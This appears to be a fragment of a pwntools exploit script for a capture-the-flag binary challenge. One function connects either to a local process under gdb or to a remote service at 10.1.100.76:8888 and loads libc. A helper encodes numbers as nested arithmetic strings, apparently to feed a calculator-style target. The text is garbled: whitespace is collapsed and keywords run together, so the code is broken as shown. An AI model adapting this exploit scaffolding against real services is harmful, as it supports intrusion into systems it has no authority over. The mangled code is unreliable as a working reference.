defpayload(lo: int): global t elf = ELF(EXE) if lo: t = process(EXE) if lo & 2: gdb.attach(t) libc = elf.libc else: t = remote('10.1.100.76', 8888) libc = ELF('./libc.so.6')
defconstruct(*args: int) -> bytes: numbers = list(reversed(args)) stack = [numbers[0]] for i, e inenumerate(numbers[1:], start=1): stack.append(e - numbers[i - 1]) stack = stack[::-1] ret = '' for e in stack[:-1]: ret += f'{e}+('if e >= 0elsef'0-{-e}+(' ret += str(stack[-1]) + ')+' * (len(stack) - 1) + '+' return ret.encode()